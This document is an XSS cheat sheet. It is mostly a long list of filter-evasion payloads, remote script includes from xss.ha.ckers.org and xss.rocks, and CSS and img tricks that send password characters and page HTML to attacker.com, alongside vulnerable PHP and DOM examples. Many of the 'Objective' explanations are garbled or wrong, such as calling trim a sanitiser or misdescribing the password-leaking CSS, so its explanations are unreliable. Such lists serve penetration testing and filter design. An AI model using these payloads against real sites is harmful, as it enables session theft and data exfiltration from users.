**Cross-site Scripting (XSS) Cheat Sheet**

**HTML Tricks**

1. ***<img/src=”picture\_name.png” alt=”image”>***

*Objective*: This is used to display the image specified on an HTML page of file type and renames the name of the image accordingly with the name specified in the **alt** tag.

1. ***<object>***

***<param name=”src” value=”javascript:alert(0)”>***

***</param>***

***</object>***

*Objective:* **<param**> tag is used to define the parameter name for object plugins, which are embedded within the <**object**> tag. These plugins may also include the multimedia audio/video file types. Here we are assigning the source as parameter name.

1. ***<isindex type=image src=1 onerror=alert(1)>***

***<isindex action=javascript:alert(1) type=image>***

*Objective:*The **<isindex>** element creates single line search prompt for retrieving the contents of the document. Here it retrieves the image of source 1 and displays the alert message if any error occurs which is specified in the **action** element.

**CSS Tricks**

1. ***<style>***

***Input[type=password][value^=a]***

***{***

***-background:”//attacker.com/log.php?hash[]=a”;***

***}***

***Input[type=password][value^=b]***

***{***

***-background:”//attacker.com/log.php?hash[]=b”;***

***}***

***</style>***

Example: ***<input type=password value=”h@cking@ttempt”>***

*Objective:*Here, we design the password field in a form and initiate the array string to enter the value in the field.

1. ***<img src=’http://attacker.com/log.php?HTML=***

***<form>***

***<input type=”hidden” name=”nonce” value=”148b32e899c83a”>***

***………***

***………***

***<script>***

***X=’gsde’;***

*Objective:*Here, from the above **src** link we specify the address of website with HTML in the end, this will help the attacker to receive all the HTML code until the given quote information.

**Java Server Pages Tricks**

1. ***<%@ include file=”/libs/organisation/environment.jsp” %>***

***<title>***

***<%= xssAPI.encodeForHTML(title); %>***

***</title>***

*Objective:*Here, the server page file is included and then the content of the server page will be encoded with the HTML tag data.

**XSS API Validators**

1. ***public String getValidDimension(String dimension, String defaultValue);***

*Objective*:This statement is used to get the valid dimension for any image or figure.

1. ***public String getValidHref(String url);***

*Objective:*It is used to get a valid URL link which is defined with String datatype.

1. ***public String getValidJSToken(String token, String defaultValue);***

*Objective:*This statement is used to validate the JavaScript token.

1. ***public getValidInteger(String integer, int defaultValue);***

*Objective:* This statement is used to get the valid integer for a string.

1. ***Public getValidLong(String long, long defaultValue);***

*Objective:* This statement is used to get the valid long datatype for a string.

**XSS API Filters**

1. ***public String filterHTML(String source);***

*Objective:*This statement filters the library file specified with a string datatype.

**XSS API Encoders**

1. ***public String encodeForHTML(String source);***

*Objective:*This statement encodes the string, which is specified in the HTML tag.

1. ***public String encodeForHTMLAttr(String source);***

*Objective:*This statement encodes the string, which is specified in the HTML attribute.

1. ***public String encodeForJSString(String source);***

*Objective:*This statement encodes the JavaScript string.

1. ***public static encodeForXML(String source);***

*Objective:* This statementencodes the XML tag data.

1. ***public String encodeForXMLAttr(String source);***

*Objective:*This statement encodes the attributes of XML tag data.

**Event Handlers**

Event handlers are supposed to handle the events of physical devices dynamically. This includes the operations and functionalities of program resources. These are few operations which the hacker attempts using these operations.

1. ***onBeforeCopy()***

*Objective:*It is used by the attacker to execute the attack string before selecting the content copied to the clipboard.

1. ***onAbort()***

*Objective:*This is aborted by the user upon loading the image.

1. ***onAfterUpdate()***

*Objective:* This will activate the data object after updating the source object data.

1. ***onActivate()***

*Objective:* This is used to set the active element of an object.

1. ***FSCommand()***

*Objective:*This command is used by the attacker to alter embedded flash objects.

1. ***onBlur()***

*Objective:*Attacker uses it when another pop-up is loaded and window will start losing the focus.

1. ***onCellChange()***

*Objective:*This operation fires when data changes are made by the data provider.

1. ***onUnload()***

*Objective:*This enables automatically when user click a particular link or press any back button or attacker forces to click on a link.

1. ***onSelectionChange()***

*Objective:* when user selects some text than attacker will start initializing his own way to execute commands. Example: window.document.execCommand("SelectAll");

1. ***onAfterPrint()***

*Objective:* This activates after user prints or previews print job.

1. ***onBeforeActivate()***

*Objective:* Fires before the object is set as the active element.

1. ***onBeforeCut()***

*Objective:* Attacker executes the attack string right before a selection is cut.

1. ***onBeforeDeactivate()***

*Objective:* This fires right after the active element is changed from the current object.

1. **onBeforeEditFocus()**

*Objective:* This fires before an object contained in an editable element enters a UI-activated state or when an editable container object control is selected.

1. ***onBeforePaste()***

*Objective:* By using this command, user is tricked into or forced into pasting using the execCommand("Paste") function.

1. ***onBeforePrint()***

*Objective:* By using this command, user is tricked to or forced to print using print() or execCommand("Print") function.

1. ***onBeforeUnload()***

*Objective:* By using this command, user is tricked to or forced to close the browser. Attacker cannot unload windows unless it was spawned from the parent.

1. ***onBeforeUpdate()***

*Objective:*Thisactivates on data object before updating data in the source object.

1. ***onBegin()***

*Objective:* The onBegin event fires immediately when the element's timeline begins.

1. ***onBounce()***

*Objective:* This fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window.

1. ***onChange()***

*Objective:*It isused toselect, text, or ‘textarea’ field than it loses its focus and value and is modified.

1. ***onClick()***

*Objective:*This is used whensomeone clicks on a form.

1. ***onContextMenu()***

*Objective:*This is used when user right clicks on attack area.

1. ***onControlSelect()***

*Objective:*Fires when the user is about to make a control selection of the object.

1. ***onCopy()***

*Objective:*When user copy something, it can be exploited using the execCommand("Copy") command.

1. ***onCut()***

*Objective:*When user cut something, it can be exploited using the execCommand("Cut") command.

1. ***onDataAvailable()***

*Objective:*When user tries to change data in an element, attacker can perform this function to explore.

1. ***onDataSetChanged()***

*Objective:*It isfired when the data set is exposed when a data source object changes.

1. ***onDataSetComplete()***

*Objective:*Thisfires to indicate that all data is available from the data source object.

1. ***onDblClick()***

*Objective:*This is used whenuser double clicks a form element or a link.

1. ***onDeactivate()***

*Objective:*Thismethod fires when the active element is changed from the current object to another object in the parent document.

1. ***onDrag()***

*Objective:*It istriggered when the user drags an object.

1. ***onDragEnd()***

*Objective:*It istriggered when the user drags and releases the object.

1. ***onDragLeave()***

*Objective:*It istriggered when the user drags an object off a valid location.

1. ***onDragEnter()***

*Objective:*It istriggered when the user drags an object into a valid location.

1. ***onDragOver()***

*Objective:* It istriggered when the user drags an object over a valid location.

1. ***onDragDrop()***

*Objective:* It is used when user drops an object in browser window.

1. ***onDragStart()***

*Objective:* It occurs when user starts drag operation.

1. ***onDrop()***

*Objective:* This is used when user drops an object in browser window.

1. ***onEnd()***

*Objective:* This onEnd event fires when the timeline ends.

1. ***onError()***

*Objective:* It triggers when loading of a document error or an image error arises.

1. ***onErrorUpdate()***

*Objective:* It fires on a databound object when an error occurs while updating the associated data in the data source object.

1. ***onFilterChange()***

*Objective:* It fires when a visual filter completes state change.

1. ***onFinish()***

*Objective:* By using this method, attacker can create the exploit when marquee is finished looping.

1. ***onFocus()***

*Objective:* Attacker executes the attack string when the window gets focus.

1. ***onFocusIn()***

*Objective:* Attacker executes the attack string when window gets focus.

1. ***onFocusOut()***

*Objective:*Attacker executes the attack string when window loses focus.

1. ***onHashChange()***

*Objective:*Itfires when the fragment identifier part of the document's current address changed.

1. ***onHelp()***

*Objective:* Attacker executes the attack string when user hits F1 while the window is in focus.

1. ***onInput()***

*Objective:*The text content of an element is changed through the user interface.

1. ***onKeyDown()***

*Objective:*It is used whenuser press a key.

1. ***onKeyPress()***

*Objective:*It isused whenuser press or holds down a key.

1. ***onKeyUp()***

*Objective:*It isused whenuser releases a key.

1. ***onLayoutComplete()***

*Objective:*It is used whenuser has to print or print preview.

1. ***onLoad()***

*Objective:*Attacker executes this attack string after the window loads.

1. ***onLoseCapture()***

*Objective:*Itcan be exploited by the releaseCapture() method.

1. ***onMediaComplete()***

*Objective:*When a streaming media file is used, this event could fire before the file starts playing.

1. ***onMediaError()***

*Objective:*User opens a page in the browser that contains a media file, and the event fires when there is a problem.

1. ***onMessage()***

*Objective:*Fires when the document received a message.

1. ***onMouseDown()***

*Objective:*The attacker would need to get the user to click on an image.

1. ***onMouseEnter()***

*Objective:*Here**,** cursor moves over an object or area.

1. ***onMouseLeave()***

*Objective:* It triggers whenthe user moves the mouse over an image or table and then off again.

1. ***onMouseMove()***

*Objective:* The attacker would need to get the user to mouse over an image or table.

1. ***onMouseOut()***

*Objective:*The attacker would need to get the user to mouse over an image or table and then off again.

1. ***onMouseOver()***

*Objective:*Here**,** cursor moves over an object or area.

1. ***onMouseUp()***

*Objective:*The attacker would need to get the user to click on an image.

1. ***onMouseWheel()***

*Objective:*The attacker would need to get the user to use their mouse wheel.

1. ***onMove()***

*Objective:*The user or attacker would move the page.

1. ***onMoveEnd()***

*Objective:*Theuser or attacker would move the page and releases at the end.

1. ***onMoveStart()***

*Objective:*Theuser or attacker would move the page by initiating the process at the start.

1. ***onOffline()***

*Objective:*Thisoccurs if the browser is working in online mode and it starts to work offline.

1. ***onOnline()***

*Objective:*Thisoccurs if the browser is working in offline mode and it starts to work online.

1. ***onOutOfSync()***

*Objective:*It willinterrupt the element's ability to play its media as defined by the timeline.

1. ***onPaste()***

*Objective:* The user applies to paste or attacker should use the execCommand(“Paste”) function.

1. ***onPause()***

*Objective:*The ‘onpause’ event fires on every element that is active when the timeline pauses, including the body element.

1. ***onPopState()***

*Objective:*Thisfires when user navigated the session history.

1. ***onProgress()***

*Objective:*Theattacker uses this as a flash movie during loading.

1. ***onPropertyChange()***

*Objective:*Theuser or attacker has to change an element property.

1. ***onReadyStateChange()***

*Objective:*Theuser or attacker has to change an element property for a ready state.

1. ***onRedo()***

*Objective:*Theuser goes forward in and undo the transaction history.

1. ***onRepeat()***

*Objective:*The event fires once for each repetition of the timeline, excluding the first full cycle.

1. ***onReset()***

*Objective:*Theuser or attacker resets a form.

1. ***onResize()***

*Objective:*Theuser would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(600,500);</SCRIPT>.

1. ***onResizeEnd()***

*Objective:*Theuser would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(600,500);</SCRIPT>.

1. ***onResizeStart()***

*Objective:*Theuser would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(600,500);</SCRIPT>.

1. ***onResume()***

*Objective:*The ‘onresume’ event fires on every element that becomes active when the timeline resumes, including the body element.

1. ***onReverse()***

*Objective:*If the element has a ‘repeatCount’ greater than one, than this event fires every time the timeline begins to play backward.

1. ***onRowsEnter()***

*Objective:*Theuser or attacker has to change a row in a data source while entering the rows.

1. ***onRowExit()***

*Objective:*Theuser or attacker has to change a row in a data source while exiting the row.

1. ***onRowDelete()***

*Objective:*Theuser or attacker has to delete a row in a data source.

1. ***onRowInserted()***

*Objective:*Theuser or attacker has to insert a row in a data source.

1. ***onScroll()***

*Objective:*Theuser would need to scroll, or attacker could use the scrollBy() function.

1. ***onSeek()***

*Objective:*The on reverse event fires when the timeline is set to play in any direction other than forward.

1. ***onSelect()***

*Objective:*Theuser needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");

1. ***onSelectStart()***

*Objective:*Theuser needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");

1. ***onStart()***

*Objective:*This methodfires at the beginning of each marquee loop.

1. ***onStop()***

*Objective:*Theuser would need to press the stop button or leave the webpage.

1. ***onStorage()***

*Objective:*This method used for changing thestorage.

1. ***onSyncRestored()***

*Objective:*Theuser interrupts the element's ability to play its media as defined by the timeline to fire.

1. ***onSubmit()***

*Objective:*The method used when attacker or user submits a form.

1. ***onTimeError()***

*Objective:*Theuser or attacker sets a time property, such as duration, to an invalid value.

1. ***onTrackChange()***

*Objective:*Theuser or attacker changes track in a playlist.

1. ***onUndo()***

*Objective:*Theuser went backward in undo transaction history.

1. ***onURLFlip()***

*Objective:*This event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file.

1. ***seekSegmentTime()***

*Objective:*This is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.

**URL Strings**

Assume that some url like “http://facebook.com/” is disabled programmatically. Than the hacking attempt can be made as below.

We can provide IP as:

***<a href=”http://54.192.8.148/>link</a>***

***Url encoding can be provided as below.***

***<a href=http://%66%66%66%2C%56%6G%6G%67%6E%65%2C%63%6D%6E> link </a>***

**Types of XSS**

These exists three types of XSS

* Persistent XSS in which the attack is stored in the server website.
* Non Persistent XSS where user has to invoke a link.
* DOM based XSS where issues start at client side scripting.

1. **Persistent XSS**

The below code explains the exploitation of application.

***<?php***

***if(isset($\_POST['btnSign'])) {***

***$message=trim($\_POST['mtxMessage']);***

***$name=trim($\_POST['txtName']);***

***// Sanitize message input***

***$message = stripslashes($message);***

***$message = mysql\_real\_escape\_string($message);***

***// Sanitize name input***

***$name = mysql\_real\_escape\_string($name);***

***$query = "INSERT INTO guestbook (comment,name) VALUES ( '$message','$name');";***

***$result=mysql\_query($query) or die('<pre>'.mysql\_error().'</pre>'); }***

***?>***

*Objective:*

Here initially we have designed the webpage in which a form includes text field labelled **Name**, text area labelled **Message** and a button to sign into guest book. The above code is executed when user inputs the data and submits the action to post it to the server database. In the above code there are two parameters **Message** and **Name**, which is not sanitized properly so we use the trim operation to sanitize it in order to store in the mysql database server upon submitting the user input. The code executes the query at client side and displays successful query message else returns the mysql error message and directly stores it over server database. However, the code has the defect, which is not sanitized properly even after using the trim operation. So when the user types the javascript code as input like **<script> alert(“here it comes the stored XSS”); </script**> than because of sanitization issue it makes the hacker an opportunity to attack the website and store the given input in the server database.

1. **Non Persistent XSS**

The below code explains how the application is exploited because of injecting the malicious JavaScript URL as input.

***<?php***

***if(!array\_key\_exists("name",$\_GET) ||$\_GET['name'] == NULL || $\_GET['name']=='')***

***{***

***$isempty=true;***

***}***

***else***

***{***

***echo '<pre>';***

***echo 'Hello' . $\_GET['name'];***

***echo '</pre>';***

***}***

***?>***

*Objective:*

Here initially there is a web form given a label to enter the name in the text field followed by the submit button. Here we have designed the code using **GET** method, this method will display the URL content for all the inputs in the form which the user provides upon submitting the details. The above code is used to display the name string provided by the user. If the hacker accesses the webpage and uses the input as **<script> alert("xss") </script>** this creates the vulnerability and url also displays the input at link and starts altering it.

1. **DOM Based XSS**

The below code explains the user selects the language using drop down option menu.

***<select>***

***<script>***

***document.write("<OPTION value=1>"+document.location.href.substring(document.location.href.indexOf("default=")+8)+"</OPTION>");***

***document.write("<OPTION value=2>English</OPTION>");***

***</script>***

***</select>***

The page displays the URL as

***http://www.some.site/page.html?default=French***

The hacker attempts like this ***http://www.some.site/page.html?default=<script>alert(document.cookie)</script>***

*Objective:*

This will make the hacker to type the script at the URL to make an attempt to alter the data from client side.

**XSS Locator**

1. ***'';!--"<XSS>=&{()}***

*Objective:*String injection, source view and searching for “XSS”, check with “<XSS” verses “&lt;XSS” it becomes vulnerable.

1. ***';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";***

***alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--***

***></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>***

*Objective:*String injection checking for vulnerability.

1. ***<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>***

*Objective:* Normal java script injection.

1. ***<IMG SRC="javascript:alert('XSS');">***

*Objective:* Passes the script message at image URL becomes vulnerable.

1. ***<IMG SRC=javascript:alert('XSS')>***

*Objective:* Passes the script message XSS Without quotes and semicolon at image URL becomes vulnerable.

1. ***<IMG SRC=JaVaScRiPt:alert('XSS')>***

*Objective:* It passes the script message XSS which is case sensitive XSS vector attack in image URL.

1. ***<IMG SRC=JaVaScRiPt:alert(&quot;XSS&quot;)>***

*Objective:* It passes the script message XSS with HTML entities.

1. ***<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41>***

*Objective:*Unicode encoding of UTF-8 applicable over Internet Explorer and Opera browsers.

1. ***<IMG***

***SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>***

*Objective:*Unicode encoding of UTF-8 without semicolons applicable over Internet Explorer and Opera browsers.

1. ***<IMG***

***SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>***

*Objective:*Unicode encoding of UTF-8 without semicolons with hex characters applicable over Internet Explorer and Opera browsers.

1. ***<IMG SRC="jav&#x09;ascript:alert('XSS');">***

*Objective:*Embedded tab breaking the XSS Vector.

1. ***<IMG SRC="jav&#x0A;ascript:alert('XSS');">***

*Objective:*Embedded new line to break the XSS Vector.

1. ***<IMG***

***SRC***

***=***

***j***

***a***

***v***

***a***

***s***

***c***

***r***

***i***

***p***

***t***

***:***

***a***

***l***

***e***

***r***

***t***

***(***

***'***

***X***

***S***

***S***

***'***

***)***

***"***

***>***

*Objective:*Injecting Multiline JavaScript using ASCII carriage returns.

1. ***<SCRIPT>***

***a=/XSS/***

***alert(a.source)***

***</SCRIPT>***

*Objective:*XSS without single quotes or semicolons or double quotes.

1. ***<BODY BACKGROUND="javascript:alert('XSS')">***

*Objective:*It is used for attackingImage of a body.

1. ***<BODY ONLOAD=alert('XSS')>***

*Objective:*It is used for attackingTag of a body.

1. ***<IMG DYNSRC="javascript:alert('XSS')">***

*Objective:*Thisattacks dynamic source of an image HTML.

1. ***<BGSOUND SRC="javascript:alert('XSS');">***

*Objective:*Thisattacks the background sound element.

1. ***<br size="&{alert('XSS')}">***

*Objective:*It is applicable in Netscape 4.x to inject JS in break tab.

1. ***<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>***

*Objective:* It is applicable in Netscape 4.x to inject JS in Layer tag.

1. ***<LINK REL="stylesheet" HREF="javascript:alert('XSS');">***

*Objective:*This represents theattack on Style sheet by injecting JS.

1. ***<IMG SRC='vbscript:msgbox("XSS")'>***

*Objective:*represents theattack on image tag by injecting VBscript.

1. ***<IMG SRC="mocha:[code]">***

*Objective:*It represents the **‘**Mocha’ the older versions of Netscape attack in an image.

1. ***<IMG SRC="livescript:[code]">***

*Objective:*It represents the **‘**LiveScript’ the older versions of Netscape attack in an image.

1. ***<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">***

*Objective:*It represents theattack on Meta refreshing URL’s.

1. ***<IFRAME SRC=javascript:alert('XSS')></IFRAME>***

*Objective:*It represents Injecting JS on inline frame tag.

1. ***<FRAMESET>***

***<FRAME SRC=javascript:alert('XSS')>***

***</FRAME>***

***</FRAMESET>***

*Objective:*It represents Injecting JS on Frameset tags over HTML.

1. ***<TABLE BACKGROUND="javascript:alert('XSS')">***

*Objective:*It represents the attack on Table tags in a HTML by injecting JS.

1. ***<DIV STYLE="background-image: url(javascript:alert('XSS'))">***

*Objective:*It represents theattack on Div tags in a HTML by injecting JS.

1. ***<DIV STYLE="behaviour: url('http://xss.ha.ckers.org/exploit.htc');">***

*Objective:* It represents theattack on Div tags in a HTML for exploiting behavior for \*.htc XSS.

1. ***<DIV STYLE="width: expression(alert('XSS'));">***

*Objective:*It represents theattack on Div tags in a HTML for expression by injecting JS.

1. ***<STYLE>***

***@im\port'\ja\vasc\ript:alert("XSS")';***

***</STYLE>***

*Objective:*Style tags with broken Javascript for XSS.

1. ***<IMG STYLE='***

***xss:***

***expre\ssion(alert("XSS"))'>***

*Objective:*Image style with an expression for XSS parsing.

1. ***<STYLE TYPE="text/javascript">alert('XSS');</STYLE>***

*Objective:*It represents thestyle tag for Netscape only.

1. ***<STYLE TYPE="text/css">***

***.XSS***

***{***

***background-image:url("javascript:alert('XSS')");***

***}***

***</STYLE>***

***<A CLASS=XSS></A>***

*Objective:* The style tag used for attacking background image.

1. ***<STYLE type="text/css">***

***BODY***

***{***

***background:url("javascript:alert('XSS')")***

***}***

***</STYLE>***

*Objective:* The style tag used for attacking background URL.

1. ***<BASE HREF="javascript:alert('XSS');//">***

*Objective:* Base tag image attack using JS.

1. ***<OBJECT data=http://xss.ha.ckers.org width=400 height=400 type=text/x-scriptlet">***

*Objective:* It represents the attack on Object tag injecting virus payloads.

1. ***getURL("javascript:alert('XSS')")***

*Objective:*This representingembedding of any flash movie containing XSS for attacking using OBJECT tag.

1. ***a="get";***

***b="URL";***

***c="javascript:";***

***d="alert('XSS');";***

***eval(a+b+c+d);***

*Objective:* By using the above action, script inside flash can obfuscate your XSS vector.

1. ***<XML SRC="javascript:alert('XSS');">***

*Objective:*This represent theXML attack vector using XSS.

1. ***"> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"***

*Objective:* Assuming you can only write into the <IMG SRC="$yourinput"> field and the string "javascript:" is recursively removed.

1. ***<SCRIPT SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>***

*Objective:* Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector.

1. ***<!--#exec cmd="/bin/echo '<SCRIPT***

***SRC'"--><!--#exec cmd="/bin/echo***

***'=http://xss.ha.ckers.org/a.js></SCRIPT>'"-->***

*Objective:* Attack on SSI, which requires the installation of SSI.

1. ***><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)>***

***<script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script>***

***<script>alert(document.cookie)</script>">***

***<img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id)>'">***

***<img src="http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compressor.jpg">***

*Objective:* Polyglots can be used in more than one form, hence they are used to bypass filters.

**XSS using HTML Quote Encapsulation**

1. ***<SCRIPT a=">" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>***

*Objective:* It is used for testing an IP.  For performing XSS on sites that allow "<SCRIPT>" but do not allow "<SCRIPT SRC..." by way of a regex filter "/<script[^>]+src/i".

1. ***<SCRIPT =">" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>***

*Objective:* For performing XSS on sites that allow "<SCRIPT>" but don't allow "&ltscript src..."by way of a regex filter "/<script((\s+\w+(\s\*=\s\*(?:"(.)\*?"|'(.)\*?'|[^'">\s]+))?)+\s\*|\s\*)src/i".

1. ***<SCRIPT a=">" '' SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>***

*Objective:* XSS for evading the filter by using double colon.

1. ***<SCRIPT "a='>'" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>***

*Objective:* XSS for evading the filter by using single colon.

1. ***"/<script((\s+\w+(\s\*=\s\*(?:"(.)\*?"|'(.)\*?'|[^'">\s]+))?)+\s\*|\s\*)src/i".***

***<SCRIPT "a='>'" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>***

*Objective:* This is another XSS to evade the same filter.

1. ***"/<script((\s+\w+(\s\*=\s\*(?:"(.)\*?"|'(.)\*?'|[^'">\s]+))?)+\s\*|\s\*)src/i".***

***<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>***

*Objective:* This will block all the active content.

**URL String Evasion**

1. ***<A HREF=http://66.102.7.147/>link</A>***

*Objective:* IP verses hostname, attacks directly by using IP address.

1. ***<A HREF=http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D>link</A>***

*Objective:* This is applied for URL encoding.

1. ***<A HREF=ht://www.google.com/>link</A>***

*Objective:* It is used for protocol resolution bypass.

1. ***<A HREF=http://google.com/>link</A>***

*Objective:* This is used for removing cnames.

1. ***<A HREF=http://www.google.com./>link</A>***

*Objective:* Representing the extra dot for DNS to access.

1. ***<A HREF="javascript:document.location='http://www.google.com/'">link</A>***

*Objective:* This represents the java script link location.

1. ***<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>***

*Objective:* The content replacement for attacking vector.

**Character Encoding**

1. ***<***

***%3C***

***&lt***

***&lt;***

***&LT***

***&LT;***

***&#60***

***&#060***

***&#0060***

***&#00060***

***&#000060***

***&#0000060***

***&#60;***

***&#060;***

***&#0060;***

***&#00060;***

***&#000060;***

***&#0000060;***

***&#x3c***

***&#x03c***

***&#x003c***

***&#x0003c***

***&#x00003c***

***&#x000003c***

***&#x3c;***

***&#x03c;***

***&#x003c;***

***&#x0003c;***

***&#x00003c;***

***&#x000003c;***

***&#X3c***

***&#X03c***

***&#X003c***

***&#X0003c***

***&#X00003c***

***&#X000003c***

***&#X3c;***

***&#X03c;***

***&#X003c;***

***&#X0003c;***

***&#X00003c;***

***&#X000003c;***

***&#x3C***

***&#x03C***

***&#x003C***

***&#x0003C***

***&#x00003C***

***&#x000003C***

***&#x3C;***

***&#x03C;***

***&#x003C;***

***&#x0003C;***

***&#x00003C;***

***&#x000003C;***

***&#X3C***

***&#X03C***

***&#X003C***

***&#X0003C***

***&#X00003C***

***&#X000003C***

***&#X3C;***

***&#X03C;***

***&#X003C;***

***&#X0003C;***

***&#X00003C;***

***&#X000003C;***

***\x3c***

***\x3C***

***\u003c***

***\u003C***

*Objective:* Represents all possible combinations using HTML and javascript standards.

1. ***<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>***

*Objective:* XSS javascript injection with no filter evasion.

1. ***<IMG SRC=javascript:alert(&quot;XSS&quot;)>***

*Objective:* HTML entities.

1. ***<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>***

*Objective:*Representing theGrave accent obfuscation.

1. ***<IMG """><SCRIPT>alert("XSS")</SCRIPT>">***

*Objective:* Representing themalformed IMG tags.

1. ***<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>***

*Objective:* Representing thechar code for XSS vector.

1. ***<IMG SRC="jav&#x0D;ascript:alert('XSS');">***

*Objective:* Representing theembedded carrier return to break XSS.

1. ***perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out***

*Objective:* Null break up JavaScript directive.

1. ***perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out***

*Objective:* Null break up cross site scripting vector.

1. ***<IMG SRC=" &#14; javascript:alert('XSS');">***

*Objective:* Spaces and meta chars before JS images for XSS.

1. ***<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>***

*Objective:* Representing thenon-alpha non-digit XSS.

1. ***<BODY onload!#$%&()\*~+-\_.,:;?@[/|\]^`=alert("XSS")>***

*Objective:* Representing thenon-alpha non-digit part 2 XSS.

1. ***<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>***

*Objective:* Representing thenon-alpha non-digit part 3 XSS.

1. ***<<SCRIPT>alert("XSS");//<</SCRIPT>***

*Objective:* Representing theextraneous open brackets.

1. ***<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>***

*Objective:* Representing theno closing Script tags.

1. ***<SCRIPT SRC=//ha.ckers.org/.j>***

*Objective:* Representing theprotocol resolution in script tags.

1. ***<IMG SRC="javascript:alert('XSS')"***

*Objective:* Representing thehalf open HTML/JavaScript XSS vector.

1. ***<iframe src=http://ha.ckers.org/scriptlet.html <***

*Objective:* Representing thedouble open angle brackets vector.

1. ***\";alert('XSS');//***

*Objective:* Representing theescaping JavaScript escapes vector.

1. ***</TITLE><SCRIPT>alert("XSS");</SCRIPT>***

*Objective:* Representing theend of title tag vector.

1. ***<IMG LOWSRC="javascript:alert('XSS')">***

*Objective:* Representing thelow resolution image attack.

1. ***<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>***

*Objective:* Representing theremote style sheet part 2 vector.

1. ***<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">***

*Objective:* Representing theremote style sheet part 3 vector.

1. ***<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>***

*Objective:* Representing theremote style sheet part 4 vector.

1. ***<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS***

*Objective:* Representing thelist style image vector.

1. ***¼script¾alert(¢XSS¢)¼/script¾***

*Objective:* Representing theencoding of US-ASCII used to bypass the content filters.

1. ***<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">***

*Objective:* It explains the directive URL meta scheme vector.

1. ***<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">***

*Objective:* It explains the meta with additional URL parameter.

1. ***<TABLE><TD BACKGROUND="javascript:alert('XSS')">***

*Objective:* It explains the exploit of TD tag in HTML.

1. ***<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">***

*Objective:* Representing DIV tag background image with unicoded XSS exploit.

1. ***<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">***

*Objective:* Representing DIV tag background image with extra characters.

1. ***STYLE="xss:expr/\*XSS\*/ession(alert('XSS'))">***

*Objective:*Representing the style attribute using a comment to break the expression vector.

1. ***<XSS STYLE="xss:expression(alert('XSS'))">***

*Objective:* Representing the anonymous HTML with STYLE attribute vector.

1. ***exp/\*<A STYLE='no\xss:noxss("\*//\*");***

***xss:&#101;x&#x2F;\*XSS\*//\*/\*/pression(alert("XSS"))'>***

*Objective:* It represents the IMG style with expression vector.

1. ***<!--[if gte IE 4]>***

***<SCRIPT>alert('XSS');</SCRIPT>***

***<![endif]-->***

*Objective:* Representing down level Hidden block vector.

1. ***<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>***

*Objective:* Representing the embedding of XSS directly by using object tag.

1. ***<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>***

*Objective:* This explains that by using an EMBED tag you can embed a Flash movie that contains XSS.

